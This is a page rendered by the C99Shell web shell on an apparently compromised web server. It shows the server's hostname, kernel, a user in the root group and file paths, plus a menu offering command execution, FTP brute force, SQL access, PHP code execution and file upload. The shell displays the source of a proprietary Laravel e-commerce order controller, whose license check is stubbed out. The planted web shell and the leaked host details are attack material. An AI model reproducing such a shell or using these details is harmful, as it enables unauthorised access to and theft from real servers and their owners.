!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/Api/User/   drwxr-xr-x
Free 26.6 GB of 117.98 GB (22.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OrderController.php (24.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package OrderController
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 27-01-2022
 */
namespace App\Http\Controllers\Api\User;

use 
App\Http\Controllers\Controller;
use 
App\Http\Requests\Site\OrderStoreRequest;
use 
App\Services\Product\AddToCartService;
use 
Illuminate\Http\Request;
use 
Modules\Gateway\Entities\PaymentLog;
use 
Modules\Gateway\Redirect\GatewayRedirect;

use 
Modules\Commission\Http\Models\{
    
CommissionOrderCommission
};
use 
App\Http\Resources\Order\{
    
OrderResource,
};
use 
App\Models\{Address,
    
Country,
    
Currency,
    
Order,
    
OrderDetail,
    
OrderMeta,
    
OrderStatus,
    
OrderStatusHistory,
    
Preference,
    
Product};
use 
App\Services\Actions\Facades\OrderActionFacade as OrderAction;
use 
CartAuthDBSession;

class 
OrderController extends Controller
{
    
/**
     * User orders
     * @param Request $request
     * @return json $data
     */
    
public function index(Request $request)
    {
        
$configs $this->initialize([], $request->all());
        
$order Order::with(OrderAction::relationsWith())->where('user_id'auth()->guard('api')->user()->id);

        
$reference = isset($request->invoice) ? $request->invoice null;
        if (!empty(
$reference)) {
            
$order->where('reference'$reference);
        }

        
$date = isset($request->created_at) ? $request->created_at null;
        if (!empty(
$date)) {
            
$order->where('created_at'$date);
        }

        
$price = isset($request->price) ? $request->price null;
        if (!empty(
$price)) {
            
$order->where('price'$price);
        }

        
$filterDay = isset($request->filter_day) ? $request->filter_day null;
        if (!empty(
$filterDay)) {
            
$filterDayData = ['today' => today(), 'last_week' => now()->subWeek(), 'last_month' => now()->subMonth(), 'last_year' => now()->subYear()];
            if (isset(
$filterDay) && array_key_exists($filterDay$filterDayData)) {
                
$order->whereDate('order_date''>='$filterDayData[$filterDay]);
            }
        }

        
$filterStatus = isset($request->filter_status) ? $request->filter_status null;
        if (!empty(
$filterStatus)) {
            
$order->whereHas('orderStatus', function($query) use($filterStatus) {
                
$query->where('slug'$filterStatus);
            });
        }

        
$status = isset($request->status) ? $request->status null;
        if (!empty(
$status)) {
            
$order->where('payment_status'$status);
        }

        
$keyword = isset($request->keyword) ? $request->keyword null;
        if (!empty(
$keyword)) {
            if (
is_int($keyword)) {
                
$order->where(function ($query) use ($keyword) {
                    
$query->where('id'$keyword)
                        ->
orwhere('price''LIKE'"%" $keyword "%")
                        ->
orwhere('reference''LIKE'"%" $keyword "%");
                });
            } else if (
strlen($keyword) >= 2) {
                
$order->where(function ($query) use ($keyword) {
                    
$query->where('reference''LIKE'"%" $keyword "%")
                        ->
orwhere('price''LIKE'"%" $keyword "%")
                        ->
orwhere('status'$keyword);
                });
            }
        }

        
$order->orderBy('created_at''desc');

        return 
$this->response([
            
'data' => OrderResource::collection($order->paginate($configs['rows_per_page'])),
            
'pagination' => $this->toArray($order->paginate($configs['rows_per_page'])->appends($request->all()))
        ]);
    }

    
/**
     * Delete wishlist
     * @param int $id
     * @return json $response
     */
    
public function details($id)
    {
        
$userId auth()->guard('api')->user()->id ?? null;
        
$response $this->checkExistence($id'orders');

        if (
$response['status']) {
            
$order Order::with(OrderAction::relationsWith())->where('id'$id)->where('user_id'$userId);

            if (
$order->exists()) {
                return 
$this->response([
                    
'data' => new OrderResource($order->first()),
                ]);
            }

            
$response['status'] = false;
            
$response['message'] = __(':x does not exist.', ['x' => __('Order')]);
        }

        return 
$this->unprocessableResponse($response);
    }

    
/**
     * order store
     *
     * @param Request $request
     * @return void
     */
    
public function store(OrderStoreRequest $request)
    {
        
$userId Cart::userId();

        if (
$this->c_p_c()) {
            return 
$this->unprocessableResponse(__("This product is facing license validation issue. Please contact admin to fix the issue."));
        }
        
$order = [];
        
$detailData = [];
        
$cartData Cart::selectedCartCollection();
        
$cartService = new AddToCartService();
        if (
is_array($cartData) && count($cartData) > 0) {
            
$coupon 0;
            if (
isActive('Coupon')) {
                
$coupon Cart::getCouponData();
            }
            
$defaultCurrency Currency::getDefault();
            
$otherDiscountAmount = isset($request->meta_order_type) && isset($request->other_discount_amount) && $request->meta_order_type == 'pos' && $request->other_discount_amount $request->other_discount_amount 0;

            if (isset(
$request->selected_tab) && $request->selected_tab == 'new') {
                
$request['user_id'] = isset(auth()->guard('api')->user()->id) ? auth()->guard('api')->user()->id 0;
                
$request['is_default'] = isset($request->default_future) && $request->default_future == 'on' 0;
                
$validator Address::storeValidation($request->all());

                if (
$validator->fails()) {
                    return 
$this->unprocessableResponse($validator->messages());
                }
                if (isset(
auth()->guard('api')->user()->id)) {
                    
$existsAddressId = (new Address)->store($request->only('user_id''first_name''last_name''phone''address_1''address_2''state''country''city''zip''is_default''type_of_place''email'));
                    
$addressId $existsAddressId;
                } else {
                    
$existsAddressId = ['first_name' => $request->first_name'last_name' => $request->last_name'phone' => $request->phone'address_1' => $request->address_1'address_2' => $request->address_2'country' => $request->country'state' => $request->state'city' => $request->city'post_code' => $request->zip'type_of_place' => $request->type_of_place'email' => $request->email'zip' => $request->zip];
                    
$addressId = (object)$existsAddressId;
                }

                if (isset(
$request->ship_different) && $request->ship_different == 'on') {
                    
$shipDiffAddress = ['country' => $request->shipping_address_country'state' => $request->shipping_address_state'city' => $request->shipping_address_city'post_code' => $request->shipping_address_zip];
                    
$addressId = (object)$shipDiffAddress;
                }
            } elseif (isset(
$request->address_id) && isset($request->selected_tab) && $request->selected_tab == 'old') {
                
$defAddress Address::where('user_id'$userId)->where('id'$request->address_id)->first();
                if (!empty(
$defAddress)) {
                    
$existsAddressId $defAddress->id;
                    
$addressId $existsAddressId;
                } else {
                    return 
$this->unprocessableResponse(__('Address not found.'));
                }
            }

            if (
$coupon $otherDiscountAmount Cart::totalPrice('selected')) {
                return 
$this->unprocessableResponse(__('Invalid discount'));
            }

            
$taxShipping $cartService->getTaxShipping($addressId ?? null'order');
            
$totalTax $taxShipping['tax'];
            
$totalShipping $taxShipping['shipping'];
            
$cartService->destroySessionAddress();
            
$cartService->destroyShippingIndex();
            
$orderStatus OrderStatus::getAll()->where('slug''pending-payment')->first();
            
$order['user_id'] = $userId;
            
$order['order_date'] = DbDateFormat(date('Y-m-d'));
            
$order['currency_id'] = $defaultCurrency->id;
            
$order['shipping_charge'] = $totalShipping;
            
$order['shipping_title'] = $taxShipping['key'] ?? null;
            
$order['tax_charge'] = $totalTax;
            
$order['total'] = (Cart::totalPrice('selected') + $totalShipping $totalTax) - ($coupon $otherDiscountAmount);
            
$order['total_quantity'] = Cart::totalQuantity('selected');
            
$order['paid'] = 0;
            
$order['amount_received'] = 0;
            
$order['other_discount_amount'] = $otherDiscountAmount;
            
$order['other_discount_type'] = $request->other_discount_type ?? null;
            
$order['order_status_id'] = $orderStatus->id;

            
$preference Preference::getAll()->pluck('value''field')->toArray();
            
$reference Order::getOrderReference($preference['order_prefix'] ?? null);

            
$order['reference'] = $reference;

            try {
                
DB::beginTransaction();
                
$orderId = (new Order)->store($order);
                
/* initial history add */
                
$history['order_id'] = $orderId;
                
$history['order_status_id'] = $orderStatus->id;
                (new 
OrderStatusHistory)->store($history);
                
/* initial history end */
                
if (!empty($orderId)) {
                    
$downloadable = [];

                    foreach (
$cartData as $key => $cart) {
                        
$item Product::where('id'$cart['id'])->published()->first();

                        if (
$item->meta_downloadable == 1) {
                            
$idCount 1;
                            foreach (
$item->meta_downloadable_files as $files) {
                                if (isset(
$files['url']) && !empty($files['url'])) {
                                    
$url urlSlashReplace($files['url'], ['\/''\\']);
                                    
$downloadable[] = [
                                        
'id' => $idCount++,
                                        
'download_limit' => !is_null($item->meta_download_limit) && $item->meta_download_limit != '' && $item->meta_download_limit != '-1' $item->meta_download_limit $cart['quantity'] : $item->meta_download_limit,
                                        
'download_expiry' => $item->meta_download_expiry,
                                        
'link' => $url,
                                        
'download_times' => 0,
                                        
'is_accessible' => 1,
                                        
'vendor_id' => $item->vendor_id,
                                        
'name' => $item->name,
                                        
'f_name' => $files['name'],
                                    ];
                                }
                            }
                        }

                        
$variationMeta null;
                        if (
$cart['type'] == 'Variable Product') {
                            
$variationMeta $cart['variation_meta'];
                        }
                        
/*Check Inventory & update*/
                        
if (!$item->checkInventory($cart['quantity'], $item->meta_backorder$orderStatus->slug)) {
                            return 
$this->unprocessableResponse([], __('Invalid Order!'));
                        }
                        
/*End Inventory & update*/
                        
$shipping 0;
                        
$tax 0;
                        if (!empty(
$item)) {
                            
$offerFlag $item->offerCheck();
                            
$tax $offerFlag $item->priceWithTax('including tax''sale'falsetruefalse$addressId0, ['cart_price' => $cart['price']]) * $cart['quantity'] : $item->priceWithTax('including tax''regular'falsetruefalse$addressId0, ['cart_price' => $cart['price']]) * $cart['quantity'];

                            if (
isActive('Shipping')) {
                                
$shipping $item->shipping(['qty' => $cart['quantity'], 'price' => $cart['price'], 'address' => $addressId'from' => 'order']);
                                if (
is_array($shipping) && count($shipping) > 0) {
                                    
$shipping $shipping[($taxShipping['key'])];
                                } else {
                                    
$shipping 0;
                                }
                            }
                        }
                        
$detailData[] = [
                            
'product_id' => $cart['id'],
                            
'parent_id' => $cart['parent_id'],
                            
'order_id' => $orderId,
                            
'vendor_id' => $cart['vendor_id'],
                            
'shop_id' => $cart['shop_id'],
                            
'product_name' => $cart['name'],
                            
'price' => $cart['price'],
                            
'quantity_sent' => 0,
                            
'quantity' => $cart['quantity'],
                            
'order_status_id' => $orderStatus->id,
                            
'payloads' => $variationMeta,
                            
'order_by' => $key,
                            
'shipping_charge' => $shipping,
                            
'tax_charge' => $tax,
                            
'is_stock_reduce' => $item->isStockReduce($orderStatus->slug)
                        ];

                        if (
$item->type == 'Variation') {
                            
$item->parentDetail->updateCategorySalesCount();
                        } else {
                            
$item->updateCategorySalesCount();
                        }
                    }
                    (new 
OrderDetail)->store($detailData);
                    
OrderAction::store($existsAddressId$userId$orderId$downloadable$request);

                    
//commission
                    
$commission Commission::getAll()->first();
                    if (!empty(
$commission) && $commission->is_active == 1) {
                        
$orderDetails OrderDetail::where('order_id'$orderId)->get();
                        
$orderCommission = [];
                        foreach (
$orderDetails as $details) {
                            if (isset(
$details->vendor->sell_commissions) && optional($details->vendor)->sell_commissions 0) {
                                
$orderCommission[] = [
                                    
'order_details_id' => $details->id,
                                    
'category_id' => null,
                                    
'vendor_id' => $details->vendor_id,
                                    
'amount' => $details->vendor->sell_commissions,
                                    
'status' => 'Pending',
                                ];
                            } elseif (
$commission->is_category_based == && isset($details->productCategory->category->sell_commissions) && !empty($details->productCategory->category->sell_commissions) && $details->productCategory->category->sell_commissions 0) {
                                
$orderCommission[] = [
                                    
'order_details_id' => $details->id,
                                    
'category_id' => $details->productCategory->category_id,
                                    
'vendor_id' => null,
                                    
'amount' => $details->productCategory->category->sell_commissions,
                                    
'status' => 'Pending',
                                ];
                            } else {
                                
$orderCommission[] = [
                                    
'order_details_id' => $details->id,
                                    
'category_id' => $details->productCategory->category_id ?? null,
                                    
'vendor_id' => $details->vendor_id ?? null,
                                    
'amount' => $commission->amount,
                                    
'status' => 'Pending',
                                ];
                            }
                        }
                        if (
is_array($orderCommission) && count($orderCommission) > 0) {
                            (new 
OrderCommission)->store($orderCommission);
                        }
                    }

                    
$latestOrder Order::where('id'$orderId)->first();

                    
//end commission
                    
if (isActive('Coupon')) {
                        
$coupons Cart::getCouponData(false);
                        
$couponRedem = [];
                        if (
is_array($coupons) && count($coupons) > 0) {
                            foreach (
$coupons as $coupon) {
                                
$couponRedem[] = [
                                    
'coupon_id' => $coupon['id'],
                                    
'coupon_code' => $coupon['code'],
                                    
'user_id' => $userId,
                                    
'user_name' => $userId,
                                    
'order_id' => $orderId,
                                    
'order_code' => $latestOrder->reference,
                                    
'discount_amount' => $coupon['calculated_discount']
                                ];
                            }
                            (new 
\Modules\Coupon\Http\Models\CouponRedeem)->store($couponRedem);
                        }
                    }

                    
// POS order
                    
if (isset($request->meta_order_type) && isset($request->payment_name) && $request->meta_order_type == 'pos') {

                        if (
$this->posOrderComplete($latestOrder$request)) {

                            
DB::commit();
                            
Cart::selectedCartProductDestroy();

                            return 
$this->successResponse([
                                
'data' => new OrderResource(Order::with(OrderAction::relationsWith())->where('id'$orderId)->first()),
                            ]);
                        } else {
                            return 
$this->unprocessableResponse([], __('Something went wrong, please try again.'));
                        }
                    }

                    
DB::commit();
                    
Cart::selectedCartProductDestroy();

                    
request()->query->add(['payer' => 'guest''to' => techEncrypt('site.orderpaid.guest')]);

                    
$route GatewayRedirect::paymentRoute($latestOrder$latestOrder->total$latestOrder->currency->name$latestOrder->reference$request);

                    return 
$this->successResponse([
                        
'data' => new OrderResource(Order::with(OrderAction::relationsWith())->where('id'$orderId)->first()),
                        
'payment_link' => $route
                    
]);
                }
            } catch (
Exception $e) {
                
DB::rollBack();
                return 
$this->unprocessableResponse([], $e->getMessage());
            }
        }

        return 
$this->unprocessableResponse([], __('No product found.'));
    }

    
/**
     * order checkout
     *
     * @return array|\Illuminate\Http\JsonResponse
     */
    
public function checkOut()
    {
        
$userId Cart::userId();
        
Cart::checkCartData();
        
$data['selectedTotal'] = Cart::totalPrice('selected');
        
$hasCart Cart::selectedCartCollection();
        
$cartService = new AddToCartService();

        if (
is_array($hasCart) && count($hasCart) > 0) {
            
$taxShipping $cartService->getTaxShipping();
            
$data['addresses'] = Address::getAll()->where('user_id'$userId);
            
$data['defaultAddresses'] = Address::getAll()->where('user_id'$userId)->where('is_default'1)->first();
            
$data['countries'] = Country::getAll();
            
$data['tax'] = $taxShipping['tax'];
            
$data['shipping'] = $taxShipping['shipping'];
            
$data['shippingIndex'] = $cartService->getShippingIndex();

            if (
isActive('Coupon')) {
                
$data['coupon'] = Cart::getCouponData();
            }

            return 
$this->response($data);
        }

        return 
$this->errorResponse([]);
    }

    
/**
     * Track order
     *
     * @param string $code
     * @return json
     */
    
public function trackOrder($code)
    {
        if (!
OrderMeta::where(['key' => 'track_code''value' => $code])->count()) {
            return 
$this->notFoundResponse([], __('Order not found.'));
        }

        return 
$this->response([
            
'data' => new OrderResource(Order::with(OrderAction::relationsWith())
                ->
join('orders_meta''orders.id''orders_meta.order_id')
                ->
where(['orders_meta.key' => 'track_code''orders_meta.value' => $code])
                ->
selectRaw('orders.*, orders_meta.value as track_code')
                ->
first())
        ]);
    }

    public function 
c_p_c() {
        
p_c_v();
        return 
false;
    }

    
/**
     * get shipping tax from selected address
     *
     * @param Request $request
     * @return array|\Illuminate\Http\JsonResponse
     */
    
public function getShippingTax(Request $request)
    {
        
$response = ['status' => 0'message' => __('Something went wrong, please try again.')];
        
$cartService = new AddToCartService();
        
$address $request->address_id ?? null;

        if (!
is_null($address)) {
            
$userId Cart::userId();
            
$isExists Address::where('id'$address)->where('user_id'$userId);

            if (!
$isExists->exists()) {
                
$response['message'] = __('Please select correct address.');
                return 
$this->errorResponse([], 500$response['message']);
            }
        }

        if (
is_null($address)) {
            
$address = ['country' => $request->country'state' => $request->state'city' => $request->city'post_code' => $request->zip];
            
$address = (object)$address;
        }

        
$cartService->destroyShippingIndex();
        
$getTaxShipping $cartService->getTaxShipping($addressnulltrue);

        if (
$getTaxShipping) {
            
$response = ['status' => 1'tax' => $getTaxShipping['tax'], 'displayTaxTotal' => $getTaxShipping['displayTaxTotal'], 'shipping' => $getTaxShipping['shipping'], 'totalPrice' => Cart::totalPrice('selected'), 'shippingIndex' => $cartService->getShippingIndex()];
        }

        if (
$response['status'] == 1) {
            return 
$this->response(['data' => $response]);
        }

        return 
$this->errorResponse([], 500$response['message']);
    }

    
/**
     * pos order payment
     *
     * @param $order
     * @param $request
     * @return bool
     */
    
public function posOrderComplete($order$request)
    {
        
$orderStatusInfo OrderStatus::getAll()->where('slug''completed')->first();

        try {
            
$order->payment_status "Paid";
            
$order->order_status_id $orderStatusInfo->id;
            
//order transaction
            
$order->transactionStore();
            
$order->is_delivery 1;

            foreach (
$order->orderDetails as $detail) {
                (new 
OrderDetail)->updateOrder(['order_status_id' => $orderStatusInfo->id'is_delivery' => 1'is_on_time' => 1], $detail->id);
            }

            
$order->checkOrderStatus();
            
$order->save();

            
PaymentLog::insert([
                
'total' => $order->total,
                
'currency_code' => $order->currency->name,
                
'sending_details' => json_encode($order),
                
'response_raw' => json_encode([
                    
'status' => 'succeeded',
                    
'amount' => $order->total,
                    
'currency' => $order->currency->name,
                ]),
                
'response' => json_encode([
                    
'amount' => formatCurrencyAmount($order->total),
                    
'amount_captured' => formatCurrencyAmount($order->total),
                    
'currency' => $order->currency->name,
                    
'code' => $order->reference,
                ]),
                
'code' => $order->reference,
                
'gateway' => $request->payment_name,
                
'status' => 'completed',
                
'created_at' => date('Y-m-d H:i:s'),
            ]);

            return 
true;
        } catch (
\Exception $e) {
            return 
false;
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--